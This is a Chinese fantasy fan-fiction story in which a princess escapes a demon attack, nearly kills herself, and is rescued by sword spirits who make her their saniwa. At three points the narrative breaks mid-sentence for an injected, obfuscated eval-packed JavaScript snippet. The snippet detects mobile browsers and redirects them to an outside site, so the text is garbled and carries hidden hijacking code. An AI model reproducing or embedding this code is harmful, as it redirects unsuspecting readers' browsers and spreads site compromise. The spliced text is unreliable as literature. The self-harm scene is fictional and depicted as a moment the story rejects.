《本丸在乙女战国》 1. 怀剑 大火最先袭来的是那股刺鼻的气味,木头、布匹、甚至血肉被焚烧后的焦糊味,浓得让人几乎无法呼吸。 “哈……哈……”夜子在宫殿中奔跑着,未曾锻炼的身体却成为了逃亡路上的阻碍。她脚步踉跄,混乱的呼吸让喉咙被浓烟呛得发疼,泪水和汗水混作一体模糊了视线。 乳母为了带着她逃跑,已经在她面前被鬼杀死了。 如今的她孤身一人,疲惫的身体摇晃着,就连呼吸都在疼痛。 “我要死在这里了吗?”这个念头忽然从脑海深处冒出来,“这么孤单地死去?连最亲近的人的手都抓不住,连最后的告别都没有?” 思绪一阵阵坍塌,胸口被恐惧与悲伤搅成一团,她几乎忘了自己为什么还在跑,只是本能地往前。 她已经分不清脸上那滚烫的液体里有没有血的存在。 乳母临终前的呼喊,至今仍在她耳边回荡。脚步一软,她险些跌倒,泪水顺着烟灰一道道滑落,烫得脸都发疼。 为什么偏偏是她、偏偏是她的亲近之人、偏偏是她的国家经历这些事?! “啊!”她曾经最喜爱的如今成了最沉重的枷锁。布料被火星点燃的瞬间,她几乎听见了布料焦卷的声音。 她慌忙撕扯裙摆,而那一刻黑暗里传来了低沉的呼吸声。 鬼察觉到了她的气息。它的影子在墙上映得狰狞,四肢扭曲着从火光中逼近。而夜子的手却还缠在那层不听使唤的罩衫上,动作慌乱,险些要被自己的衣料绊倒。 火光照在鬼的獠牙上,反射出湿亮的红光。它张开血盆大口,伴着一声低吼,朝她迈近。 夜子还没来得及抬头,就听见那嘶哑的喘息近在咫尺,热气混着血腥味扑面而来。 “退下!”她嘶哑地喊出声,一边举起自己慌忙中带出的护身刀。 这是一振无人知晓出自何处的短刀,可夜子却一直固执地相信它是有名字的。 她信誓旦旦地对弟弟说它叫药研藤四郎。 “又是藤四郎啊……”弟弟笑着嘟囔,“夜子真奇怪,把我送的刀都当一家似的。” 可如今,那声音已成遥远的幻影。 夜子双手紧握,手指被刀柄勒出浅白的印痕。她深吸一口气,强迫自己不再颤抖。 她凭着直觉刺出去,却被鬼的利爪挡下。巨大的反震力让她整个人被震得后退,手中的刀脱手而出,伴随着锵地一声落在石阶上。 她的心一瞬间坠入谷底。 她下意识想去捡,却被火舌逼得止步。那柄她视若护身符的短刀静静地躺在火光中,而鬼的影子再次笼罩过来。 夜子几乎能闻到它呼出的恶臭,那股气味混着血腥与腐肉的酸败,让她的胃里一阵翻腾。 不能停下。 她咬紧牙关,忍着灼痛和恐惧,朝那柄跌落在地的药研藤四郎冲去。 就在她扑过去的那一刹,鬼的爪子擦过她的肩膀,撕开衣料,留下火辣辣的疼痛。 夜子没敢出声,只是死死咬住嘴唇,血的腥味蔓延到舌尖。 她的手指终于触到刀柄,几乎是在同一瞬间,她用尽全身的力气将身体一翻,抱着短刀朝右边的隔扇翻滚过去。 隔扇早被火灼得发黑,木屑崩裂,夜子撞上去时几乎没了力气。身体翻滚在地,灰烬扑面而来,烫得她的皮肤发疼。 胸口传来闷痛,喉咙里发出一声被压抑的呜咽,可她仍死死抱着那柄刀。 鬼在门外徘徊,发出低沉的怒吼,地面也被它锋利的爪子刮出刺耳的摩擦,但它似乎没发现他的身影。 短暂地松了口气后,强行凝聚的力量再次卸下。她紧紧咬着唇,眼泪止不住地流,一滴滴顺着脸颊滑落。 她真的能逃得出去吗? 她的手指死死攥着药研藤四郎,刀柄被泪水与血汗濡湿,滑腻得几乎握不住。 也许根本没有所谓的逃出去。 宫殿之外是浓烟、是火、是鬼。她只是多跑几步而已,结局都一样。 与其被鬼杀死,不如自己来。 这个念头在她脑海里轻轻浮起,带着诡异的平静。 她深吸一口气,缓缓将刀锋举到胸前,寒光映出她泪痕斑驳的脸。 夜子的手在颤抖,心口被刀尖轻轻抵住。只要再一点、再一点就能结束。 她闭上眼,喉咙里溢出一声哽咽。 然而,下一瞬间,刀身忽然滑动。不是她的手在动,而更像是…… 她的刀在拒绝。 那种感觉近乎诡异,刀锋微微一偏,从她手上滑落,没有刺入肌肤。 夜子的泪水在睫毛间颤抖。她再试着握紧,想重新举起,可手臂像被某种力量按住,怎么也抬不起来。 “……不行吗?”她喃喃出声,声音轻得几乎听不见。她的手无力地垂下,泪水滑落,滴在刀身上,“对不起、对不起……药研。” “其实我不想一个人。”她几乎是无意识地低语,“不想一个人这么孤单地死去。” 她的声音越来越小,直到那双被泪水模糊的眼终于闭上,额头轻轻抵在刀柄上。 她感到刀身轻微地一震,像是要安慰她。 夜子一瞬间怔住了。 还没等她分辨刚刚是不是自己的错觉,寂静的空气里就突然响起一道陌生的声音。 “多么可怜的公主啊……” 那声音既不像男人,也不像女人,而是把两者融合在一起,尖利得让人头皮发麻。 “想许愿吗?” 她后退两步,直到余光扫过身后的一面残破的帘幔,她才骤然意识到自己竟在逃亡中无意间闯进了父亲的寝室。 放在房内刀架上的怀剑镶嵌着血红色的宝玉,这正是他们家的传家宝,也是刚刚那阵诡异的声音的源头。 夜子不禁屏住呼吸,“你是……怀剑?” 父亲曾在她年幼时,将那怀剑从刀架上取下,放在膝前拂拭。 那时的他神情罕见地严肃,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875498|191886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这柄剑中封着恶鬼的魂。它能满足人的愿望,但愿望都是有代价的。” “不到万不得已,公主可千万不要向它许愿。” 年幼的她完全没意识到那句话的分量,还想着用怀剑许愿换取一堆好吃的。 而现在的她孤身一人,血脉相连的家人已成灰烬,外头满城都是鬼的咆哮。 身边只有一振刀、一振她根本没能力使用的刀。 如果药研在别人手上,恐怕早就逃出升天了吧。 夜子垂下视线。 她知道自己多么无力,这样的身体、这样的双手不仅握不稳刀,还连逃命都如此笨拙,出口都没找到就把自己困在房间里了。药研跟着她,只会一同葬身火海。 父亲说的万不得已是不是正是此刻? 她抬起泪痕未干的脸,“……你想要什么?” “公主——”它的声音忽而变得悠长,带着嘲讽与某种甜腻的怜悯,“与其问我要什么,倒不如问问你自己想要什么。” 夜子没想到它会突然问自己这样的问题。 也许是因为过于专注在思考,她竟没注意到周围的喧嚣正在一点点远去,鬼的嘶吼、人的哀嚎不知道什么时候开始逐渐消失。 “我想要……”她无意识地喃喃,无数个愿望在心中一闪而过。 父亲的手掌、弟弟的声音、未婚夫的笑容、那座再也回不去的宫殿…… 她的声音尚未落下,一阵突兀的气流划破了静止的空气。 “锵——!”那是刀鞘被拔出的声音。 夜子猛地回头,只见一道人影破碎火光而入。 “别靠近那位姬君!”那人高大,肩背被血与灰烬染透,一只眼被黑色眼罩遮住,另一只眼却冷如寒星。他手中握着太刀,刃上还滴着未干的血。 “别担心。”那人单手拔刀,另一只手稳稳将夜子护在身后,眼底尽是冷静坚毅。 低沉的声音出乎意外地温和,甚至沉稳得令人不自觉地信赖,“外面的溯行军已经被我解决了。” 他嘴角带出一抹淡淡的笑意,“我会保护你的。” 夜子不认识他,也从来没见过他。 被护在身后的她看不清他的面容,但也意识到他直指怀剑的目光是冰冷的,“你是时间溯行军?” “居然是刀剑付丧神。”笑声再次响起,带着无法分辨的情绪,“我还以为这里不会有这样的存在。” “毕竟这里全是碎掉、无人问津的刀不是吗?”嘲讽的声音更是让对方握剑的力道更重上几分。 “不过也无所谓,”怀剑发出诡异的红光,夜子下意识地抬起手臂遮住双眼,耳边尽是嗡鸣,“我先实现公主你的愿望好了。” 夜子的视线越来越模糊,意识被一点点抽离,身体像在往下坠,而一高一低的身影试图抓住她的手。 就在意识彻底陷入昏暗前,她隐约看见其中一个人手里拿着一振她再熟悉不过的短刀。 “……药研?” 2. 愿望 “我是已经死了吗?”夜子痛苦地扶着脑袋,掌心触到的皮肤依然温热,可那股温度正一点点流失。 都说人死后会坠入中阴,那是灵魂在生死之间徘徊的世界。可她眼前所见,却不是阴暗可怖的地狱,而是一片白茫茫的虚空。 她茫然地低头,脚下没有影子,也没有地面,然而她的双脚却实实在在地触碰到什么柔软的东西。 “这里……是哪里?”她喃喃出声,语气中满是茫然与惶恐。她迷茫地走着,只觉得那种孤独的沉默快要让人发疯。 忽然,一道像小孩一样的模糊身影出现在前方。她心头一紧,下意识地唤道:“……有人吗?” 那身影似乎听见了,微微一动。然而等到对方缓缓转身的那一刻,夜子的呼吸骤然一滞。 等等不对——这不是孩子。 那身影骨瘦如柴,褐色的皮肤上浮着青紫的脉络,四肢细得几乎只剩骨架,唯独腹部高高鼓起,形状不自然地鼓胀着。它用细长的竖瞳看向她,嘴角龇出的獠牙在微笑。 这是饿鬼。 “你可还没死。”那声音诡异地熟悉,仿佛男女两人同时在她耳边低语。 夜子瞳孔骤缩,因为这正是方才怀剑的声音。 “是你带我来到这里的吗?”她迟疑地说着,“可我明明……”可我明明还没许愿。 她的话音未落,空气里便响起那种让人头皮发麻的笑声。 “你是没说,但我已经知道你的愿望了。”怀剑遗憾地说:“可惜那两个付丧神的阻止还是干扰了一些愿望的实现……” “明明只有完全失去记忆,才会感觉幸福。”饿鬼露出诡异的笑容,“如果在美梦中始终保持清醒,反而是一种折磨。” 夜子怔住,有些听不懂对方在说什么。 她指尖微微颤抖,脑海一片混乱,“你实现了什么愿望?” “这就要靠公主你自己去发现了。”怀剑的声音低了下来,不再是笑,而像是轻轻贴近她耳边的呢喃,“作为代价,我已经品尝过你的血了。” 怀剑的声音渐渐远去,却仍在她脑中回响,“呵呵呵……做个美梦吧,公主。” * 与此同时。 “这里是……?”烛台切光忠的声音低沉,仍带着战场上未散的警惕。他记得自己拉住了夜子的手,然而下一秒就来到了这陌生的房间。 这种突兀的断裂让他心底浮起一瞬的不安。 他目光扫过四周,指尖微微绷紧。 一切太安静、太干净了。 “看起来像是女子的房间。”他喃喃自语。 空气中还残留着一股若有若无的香气,淡淡的花香与纸墨味与先前的血腥味截然不同。脚下的木地板擦得极亮,角落里放着叠得整齐的绢被与女式衣裳。 “是大将的房间。”药研笃定地说道。 烛台切光忠顺着他的视线看去,只见那张书案上刻着浅浅的一道痕迹。药研的指尖停在那上头,轻声开口,神情中浮现出怀念,“这里是大将在我修复好后试刀留下的痕迹。” 他抬头望向窗外。外面夜色静谧,风声寂寂,完全没有外头那片燃烧后的焦黑景象。 “在鬼入侵后,这桌子已经连同房间一起被烧毁了。”他顿了顿,声音更低,“然而这里却完全没有被烧过的痕迹。” 空气瞬间凝固。 “是愿力残留吗?”烛台切光忠轻声问道。 “可能是吧,也有可能是时间回溯了。”药研没有立刻回答,“而更坏的结果是……” “我们来到了另一个世界。”烛台切光忠接了下去,声音低沉。 两人目光在空气中相交,彼此都没有否认这个可能。 “空间确实不太对劲。”药研沉声道,眼底掠过一抹光,“愿力残留的痕迹太浓了,像是被人为固定在溯行军降临之前的时间点。” 两人对视一眼,心底同时浮现出一个念头: 她究竟许下了什么样的愿? 唯一能解答的夜子至今仍昏迷着。 无论有多少疑问,也只有在她醒来后才可能获得答案。 原先的火光似乎都只是幻觉,整座城已恢复了寂静,原本几乎要将整座城烧毁的大火只剩下烛台上那一点跳动的光。 夜子的脸仍苍白,唇角带着灰尘与血迹,却依稀能看出她熟睡时的柔和神情。 他伸手为她理好被角,神色一如既往地冷静克制,只是那双紫色的眼睛中隐隐闪过担忧。 “刚才情况紧急,没能来得及向你道谢,”他转过身,对一旁站着的烛台切光忠躬身行礼,“多谢你救了大将。” “不用道谢。”烛台切光忠微微摇头,笑了笑,“毕竟我们曾经是同个本丸的同伴,不是吗?” 药研轻轻嗯了一声,似乎不太想谈这个话题。 “虽然说是为了切断她和怀剑的契约,”烛台切光忠缓缓地说着,指尖轻轻掠过腰间的刀鞘,“但我也确实强行和主人签订了契约。” “幸好主人还没真正开口许愿,所以我们还有机会抓住她,一起掉进这奇怪的时空。”他抬眼望向床榻上的夜子,唇线绷紧。她安静得几乎不像活人,连胸口的起伏都极轻。 他轻声补了一句,笑意淡得近乎自嘲,“也不知道主人醒来后,该怎么解释才好。”他的声音里没有懊悔,却带着罕见的迟疑不安。 “别担心,大将会明白的。”药研语气平稳,却有一丝不易察觉的温柔,“她向来很温柔。” 察觉出他话里对夜子的熟悉与亲昵,烛台切光忠开口询问,“你在这里很久了吗?”他的声音压得极轻,似怕惊扰到昏睡的少女。 “算是吧。”药研回忆起自己来的时间点,“但其实白山和信浓来得比我更早。” 烛台切光忠闻言一愣,手上轻轻一顿,随即抬眼望向他,“他们也在这里吗?”他难得流露出几分惊讶与关切,目光扫过屋内,“怎么没看到他们?” “他们比我还虚弱。”药研缓缓开口,“即便主人收到它们后,并没有嫌弃它们的裂痕,反而很耐心地让工匠修复他们,他们也依旧无法彻底恢复。” “白山偶尔还能发出一些灵力波动作为回应,”他说得极轻,“但信浓……已经很久没有回应了。” “等主人醒来后再想想办法吧。”烛台切光忠语气温柔稳重,“之前他们无法清醒,说不定是因为缺少灵力的缘故。如果有审神者替他们手入,他们的状态应该会好很多。” “希望如此。”药研垂下眼,指尖轻触自己腰间的刀鞘。凭借灵力,他能察觉到白山和信浓的本体就在附近,熟悉的气息让他终于缓了口气。 “不管怎样,兄弟们还在身边。”他在心底轻声说道。 至少现在,已经比最初好了不少。 在和一期哥失散后的那一刻,他几乎以为自己再也见不到任何人了。他孤身流落在陌生的世界里,灵力残缺,刀身破损,连自己的存在都开始模糊。 却没想到能遇到现在的主人,且和兄弟重逢。 如今虽然来到了未知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875499|191886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的时间线,却也因此遇到了曾经来自同个本丸的同伴。 一切都会好起来的。 他的唇角勾出一抹极浅的笑容。 然而很快,他的笑容便消失了,神情霎时凝重。他微微看向门外,连握刀的手也悄然收紧。 烛台切光忠立刻察觉到变化,语气带着戒备,“怎么了?” 药研没有立刻回答,只是抬起一根手指,示意他噤声。 “有人来了。”他简短地低声道。 听到这句话后,烛台切光忠的眉头皱起,手下意识地按向刀柄,然而夜色过于浓重,月光被厚重的乌云完全遮住,四周只剩下烛火微弱的晃动。 对他而言,这种环境几乎等同于失明。太刀的侦察能力远不及短刀,而眼下连光线都被剥夺,即便是极化后的他,也无法精准判断敌人所在。 药研却能感知到什么。 他微微偏过头,低声道:“从左侧靠近……数量不多,应该只有一个人。” 烛台切光忠点了点头,两人目光短暂地交汇。 战场上无数次并肩作战的默契重新浮现,不需要多言,他们已经明白对方的意图。 他微微一转身,退入阴影,确保自己的视线仍能看见夜子。药研则悄然滑向门侧,整个人与黑暗融为一体。 脚步声在外停顿了一瞬,像是在犹豫,接着又急促地踩上木地板。门被推开的那一刻,一个青年的身影出现。 “真是的……”他的声音发颤,带着掩不住的焦躁与疲惫,“怎么还没醒来?” 烛台切光忠和药研对视一眼,没有阻止。 “快点醒来吧,夜子。”青年快步来到床边,试探着握住她冰凉的手指。他俯下身,将她的手贴向自己的脸庞,指尖蹭过她冰凉的掌心。 他深吸一口气,强迫自己冷静下来,然后环顾四周,目光落在一旁的木盆上,取出一块已经被浸湿的布,轻轻擦拭夜子脸上的尘埃与血迹。 等到他终于放下湿布,静静看了夜子一会儿,低声说了句“我会再来的”,转身离去后,两位刀剑才从阴影里缓缓走出。 “这就是主人的伴侣吗?”烛台切光忠望着那被留下的湿布,目光微动,语气里带上几分欣慰,“能这样守着她,感情真深啊。” 药研一怔,抬眸看向他。那双一向冷静的眼睛此刻闪过一瞬的犹豫,像是在斟酌要不要解释,“不。” 烛台切光忠眨了眨眼,“嗯?” 药研的目光移向那扇门外,青年离开的方向,声音低沉下去:“那是大将的弟弟。” 空气像是被什么重物砸了一下。 烛台切光忠的笑容僵在脸上,他整个人愣了足足两秒,才发出一声极轻的:“……诶?”金色的眼睛里充满震惊与一丝茫然:“等、等等……弟弟?!!” 药研只是叹了口气,眼神温和却带着淡淡的无奈:“没错。” 烛台切光忠:“……” 他沉默了片刻,低声喃喃,“原来弟弟是这样的吗……”短短的一句语里带着犹豫、揣测,还有一种莫名的感慨。 药研张了张嘴,神情从镇定到复杂再到彻底放弃解释之间来回转了三次,最终只挤出一句语气无奈到近乎平淡的话,“……不,我想应该不是这样的。” 虽然不确定对方对正常的姐弟关系产生了怎样的误解,但很明显他暂时是无法修正他认知上的错误了。 他长叹一口气,肩膀微微垂下,目光无声地飘向一旁。 就等大将醒来,自己跟他解释吧。 3. 审神者 “大将醒来了。”药研藤四郎察觉到那极细微的动静,立即低声出声提醒。 烛台切光忠原本正靠在门侧,听见他的话后立刻上前几步,目光专注地望着榻上的她。 “真是太好了。”他缓缓呼出一口气,嘴角露出一抹难以掩饰的笑意。 夜子缓缓睁开眼,视线逐渐聚焦,然而眼前的景象却让她一时分不清梦与现实。两个陌生的男子正站在她床前,其中一个正是方才在怀剑面前将她护在身后的人。 她下意识地眨了眨眼,呼吸微滞,脑中一片空白。 其中一位身形修长的少年率先开口,声音温和而沉稳,像是怕惊扰了她似的压低了音量:“大将,是我,药研藤四郎。多谢你这段时间对我和兄弟们的照顾。” 他语气恭敬,眉宇间却透出几分亲切。说完,他俯身行礼,动作干净利落,语尾带着少年特有的清爽气息:“日后也请多多关照。” 夜子愣了几秒,半晌才艰难地开口:“你是……药研藤四郎?”记忆的碎片在脑海中浮现,那柄被她握在手上的短刀,如今化为眼前的少年。 她迟疑地歪了歪头,“是刀剑付丧神吗?”由于有些不确定,所以声音很轻。 如果真是这样,那么她在失去意识前看到的那个试图抓住自己的身影果然并不是幻觉。 付丧神……这种听起来近乎传说的存在竟真实地站在自己面前。可奇怪的是,她并没有太多恐惧。或许是因为早在得到药研藤四郎那一刻,她就隐约察觉到这振短刀的特殊。 所以,在最初的惊讶过去后,她竟很快接受了这个事实。毕竟,连封印着鬼的怀剑都能出现,刀剑化作付丧神又有什么好奇怪的呢? 药研藤四郎微微一怔,随即嘴角扬起一抹淡淡的笑。 “是的,大将,”他轻声应道,声音低沉而稳重,“我们本是刀剑,因人的思念与记忆而得以具现,成为付丧神。” 他抬起眼,视线柔和却坚定地落在夜子脸上,“您所见的,都是真实的。” “那白山和信浓……” 她想起了她的另外两振刀剑,便开口询问道:“他们也是刀剑付丧神吗?” 药研藤四郎的眼神轻轻一震,随即垂下睫毛,神色变得有些黯然。 “是的。”他缓缓答道,声音比方才低了几分,“他们是我的兄弟,和我一样由吉光所锻造。”他停了片刻,仿佛在斟酌用词,“但因为在战斗中受到致命伤,目前还无法显现于现世。” 至于为什么会受到致命伤,这种黑暗肮脏的事就暂时不要说出来打扰大将了。 他垂下眼眸。 “对不起,我不该提这个的。”夜子察觉到他话里的悲伤,有些懊恼自己似乎提了一个让人难过的话题。 她指尖在被褥上轻轻蜷紧,喃喃补了一句,“很抱歉……我没能把他们修复好。”尽管她想尽办法修补,那些细微的断痕仍旧固执地存在着。 药研藤四郎微微一愣,随即轻轻摇头。他抬起视线,眼神变得柔和坚定。 “大将,请不必责怪自己。”他语调平静,像是要让她从那份失落里脱离出来,“能被您珍视,已是我们最大的荣耀。” 药研藤四郎的声音坚定,微微俯下身,目光与她齐平。那双深色的眼眸中映着她的身影,神情认真得几乎让人无法移开视线。 “既然兄弟们暂时没办法出现,那就让我来保护大将吧。”他轻声补道,语气温柔,却透出一股不容置疑的力量,“就算你想自杀,也不会让你得逞的。” 即便违背刀的本意,也会守护着您。 他露出了真心的笑容。 夜子的心口微微一颤。药研藤四郎那双清亮的眼里没有责备,只有透彻的悲伤与坚定的守护。 他并没有责怪软弱的主人想着用自己解脱。 “对不起……”她低声呢喃,声音几乎化成气息。指尖紧抓着被褥,眼神微微颤抖。她知道,他指的是什么。 那一刻的绝望令她几乎丧失理智,甚至想用他的刀结束一切。 而他却宁可受伤,跌落在地,也要阻止她。 “谢谢你那时阻止了我。” 夜子终于艰难地说出口,嗓音带着轻微的哽咽。她眼底的光有些湿润,泪水在睫毛上打着转,却努力不让它落下。 “那是理所当然的事。”药研藤四郎静静地注视着她,轻声道,语调比之前更柔了几分,“我是您的刀剑。” 她怔怔地望着他,心里涌起一阵复杂的情绪。 就在这时,另一道低沉而带着笑意的声音打破了短暂的沉默,“看起来药研殿已经抢先表明忠诚了呢。” 夜子循声抬头,只见另一位男子不知何时上前半步。烛光映在他深色的衣袖上,勾勒出笔挺的身影。 他站得笔直,嘴角轻轻一扬,露出一个得体而不失风趣的笑:“我叫烛台切光忠,是一振能切断青铜烛台的太刀哦……” 说到这里,他微微一顿,手指若无其事地摩挲着腰间的佩刀,神色认真,却又忍不住轻叹一声:“嗯,果然还是不够帅气啊。” “烛台切殿下……”夜子轻轻念出他的名字,那语调里带着几分迟疑与探寻。她抬起头,目光与他相接,烛光映在她微微颤动的睫毛上。 她的唇角忍不住弯了弯,语气中藏着一丝不自觉的笑意:“你已经很帅气了。”她确信地说道。 那一刻,她似乎终于从方才的悲伤中走了出来。眼底的雾气渐渐散去,取而代之的是一点暖意与轻松。 “如果不是你们,我现在大概也没机会再醒来了。” 夜子的声音轻得几乎要被空气吞没,却带着一种发自心底的真诚。她垂下眼帘,纤长的睫毛在微光中颤动,像是要掩去那份复杂的情绪。 虽然不明白怀剑那句话究竟是什么意思,但她能确定应该是刀剑付丧神们搅乱了对方的计划,才让她的记忆得以保留。 只是,她差点被抹去的记忆究竟是什么呢? 她顿了顿,嘴角微微上扬,柔和的笑意显得有些疲惫,“所以……谢谢你们。”她的声音里仍有些沙哑,却仍是认真地向他们道谢。 药研藤四郎微微低下头,唇角浮现出一抹淡淡的笑。 烛台切光忠则是愣了愣,显然没料到她会这么说。还没等他想好怎么回应,夜子便已经开口,“您腰间佩着的那把太刀就是您的本体吗?” 他回过神来,带着一丝笑意,“是的,你想要看看吗?”他说话时,掌心自然地落在腰侧的太刀。 夜子下意识地屏住呼吸,眼神被那柄太刀吸引住。她抬起头,语气里带着不确定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875500|191886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的犹豫与一点小心翼翼的敬畏:“可以吗?” 她不是没有见过刀,但那大多是短刀、胁差,或是薙刀。太刀这种武具,她从未真正接触过,只有偶尔在弟弟练刀时才有机会看到。 或许正因如此,她看着那把太刀时的神情,既带着好奇,也带着几分敬畏。 烛台切光忠察觉到她的拘谨,微微一笑,语调温柔下来:“没有什么不可以的,毕竟——” 他将太刀轻轻从腰间解下,双手捧着递到她面前。 “现在的你,是我的主人啊。” 他的语气温柔得像是从心底溢出的誓言。 夜子微微一愣,因为他的话而变得茫然,但还未来得及开口,烛台切光忠便已缓缓拔出腰间的太刀,将刀身横呈在她面前。 于是,她只能暂时咽下自己的疑惑,手指轻触那冷冽的金属。 “真是帅气的刀呢。”她喃喃道,眼底泛起一丝惊叹。她抬起头,冲他露出一个浅浅的笑,“就跟烛台切殿下给人的感觉一样。” 烛台切光忠愣了片刻,像是没想到她会这样评价。 他忍不住低笑,眼神里染上几分暖意与羞赧,微弯的唇角与眉眼更是让整个人的气息柔和了许多。 “你这么说,我可要骄傲起来了。”他轻声调侃道,语气仍带着几分玩笑,但那笑容中却明显多了几分真诚。 夜子也露出一抹发自心底的微笑,语气温柔认真,“这是值得骄傲的事。”她抬起头,眼神澄澈,“请继续骄傲下去吧。” 烛台切光忠整个人微微一僵,随后仿佛被什么击中似的轻轻捂住半边脸。 “真是的……”他低声呢喃,嘴角忍不住往上翘,肩膀微微颤动。 他在心中苦笑:主人实在太可爱了,该怎么办呢? 这下他总算知道为什么药研藤四郎提到主人时总是带着自己察觉不到的温柔。 “烛台切殿下,是我说错了什么吗?”夜子有些担忧地问,语气小心翼翼。她眼里流露出细微的慌乱,担心自己冒犯了他。 烛台切光忠轻轻摇了摇头,脸上仍带着那种柔和的笑意,“不,并没有。只是一些……属于我的问题罢了。” 他顿了顿,忽然像是想起什么似的,笑容又重新回到脸上,声音温润,“对了,主人,你不必对我用敬称。唤我烛台切就好。” “烛台切……”她轻声重复了一遍这个名字,随后抬起头,小心翼翼地问道:“其实刚才我就想问了,您为什么会称呼我为主人呢?” 她的声音温和,却带着一种认真探询的意味,“如果是药研藤四郎这样称呼我,我还能理解,毕竟他现在是我的刀……” 她轻轻吸了口气,语速放慢,目光中满是疑惑,“但我很确定,我并没有烛台切这振太刀。” 烛台切光忠与药研藤四郎对视一眼,这才意识到他们还未将审神者的事告诉主人。烛火在房间里轻轻摇曳,映得两人神情都有些复杂。 药研藤四郎轻叹一声,缓缓上前一步。他的动作一如既往地克制冷静,但那双紫色的眼中却多了一丝难以掩饰的歉意,“为了切断您与怀剑之间的契约,我们只能……强行与您重新缔结新的契约。” 烛台切光忠轻声接过话,“也就是说,从那一刻起,您便成为了我们的审神者。” 4. 弟弟 夜子轻轻抿唇,抬头望向他们。 “虽然我还不太明白这究竟代表什么,”她的声音轻得几乎要融进空气里,却带着坚定的诚意,“但你们帮助了我,我也想为你们做点什么。” 她抿着唇,语气有些迟疑,“我听说过审神者。” 在神道教中,审神者需要劝解附体失控时的神明。 然后,她缓缓抬起头,眼神中闪着微光,“但你们口中的审神者,似乎并不只是这样,对吗?” 烛台切光忠与药研藤四郎相视片刻。 药研的睫毛微垂,神色比平日更为庄重。他沉吟良久,方才低声道:“大将所理解的,只是现世对审神者的定义。而我们所说的——” 烛台切光忠接过话,声音低沉,“是能唤醒器物的心灵,率领化为人形的刀剑付丧神和历史修正主义者战斗的人。” “历史修正主义者就是鬼……不对——”她轻轻摇了摇头,眉心皱起,努力把碎片拼凑成完整的图像,“就是你们之前提到的时间溯行军吗?” “没错。你之前所遇到的那些鬼,便是时间溯行军。”烛台切光忠微微侧头,补充道:“时间溯行军是历史修正主义者派出的军队。他们试图扭曲历史,以实现自己的目的。” 一幕幕惨烈的景象再次在脑海中闪过,血流成河的街道、倒塌的屋舍、那些哭喊着的人。 她深吸了一口气,强迫自己冷静。 “扭曲历史……”她喃喃道,“可我的国家不过是个小国,对比起其他庞大的国家,我们连在舆图上都微不足道。” 她抬起头,眼神有些发涩,却依旧执着地追问:“那它们为什么会出现在我的国家?” “按理来说,他们只会出现在我们所来自的日本……改变历史上的重大节点。至于为何越界至此——”药研藤四郎微微蹙眉,垂下的睫毛在光下投出淡淡的影子,“我们也不清楚。” “我在消灭溯行军时,察觉到他们的行动并非无序。”烛台切光忠轻轻叹了口气,补充道:“他们似乎是有组织的。”他顿了顿,语气愈发沉稳,“而且具备智慧。” “这与我们以往遇到的溯行军完全不同。” 这些足以证明他们来到这里绝对是有目的的,而不是像他们这些刀剑因为被遗弃或主动流浪才被卷入这里。 “会是怀剑引起的吗?”夜子沉思,眉头微微皱起,“它……也是时间溯行军?”她指尖无意识地蜷紧,掌心几乎捏出印痕。 若真是如此,那她岂不是亲手向害了自己国家的敌人许愿?光是这个念头,就令她心底泛起一阵寒意。 “应当不是。”烛台切光忠摇了摇头,神情凝重,语气带着一丝迟疑,“起初我们也以为是这样没错。” 药研藤四郎接过话,神情一如既往地冷静,“但目前看来,它比溯行军强大得多。” “一般的溯行军并不具备那种能力,它们只能遵循命令,通过战争去改变历史,比如杀死重要人物、阻止关键事件的发生。”他抬起视线,目光直直地看着夜子,“它们无法回应愿望,也没有意识能与人沟通。” 烛台切光忠微微蹙眉,像是在从记忆中搜寻着某个被尘封的线索。他沉吟片刻,忽然低声道出一个名字,“难道是检非违使?” 那名字在夜子耳中显得格外陌生。 “检非违使?”她轻声重复了一遍,“是和审神者一样的称呼吗?”语气中带着试探,她清楚这个词不可能只是古代官职那么简单。 药研藤四郎点头,“检非违使原本是平安时代的官职,但在我们的世界里,它们早已不再是人。” 夜子屏息倾听着。 “它们与我们同为守护历史之人,却在不同阵营。”烛台切光忠神情忌惮。 “既然都在守护历史……”夜子皱眉,语气中带着些许困惑,“那为什么还要彼此敌对?” 药研藤四郎的神色在烛光下显得格外冷峻,“他们为了守护历史不惜一切代价,甚至对人类下杀手,是极为危险的存在。” 她垂眸沉思。 回忆起与怀剑的对话,她觉得它对历史似乎毫不敬畏。无论怀剑是什么,他与这些守护历史的存在都不是同一类。 烛台切光忠注意到了她神情的变化,微微俯身,声音温柔,“主人是在担心吗?”他那双金色的眼眸带着笑意,语气却极为认真,“别担心,你不用出阵。我们会带着胜利回来。” 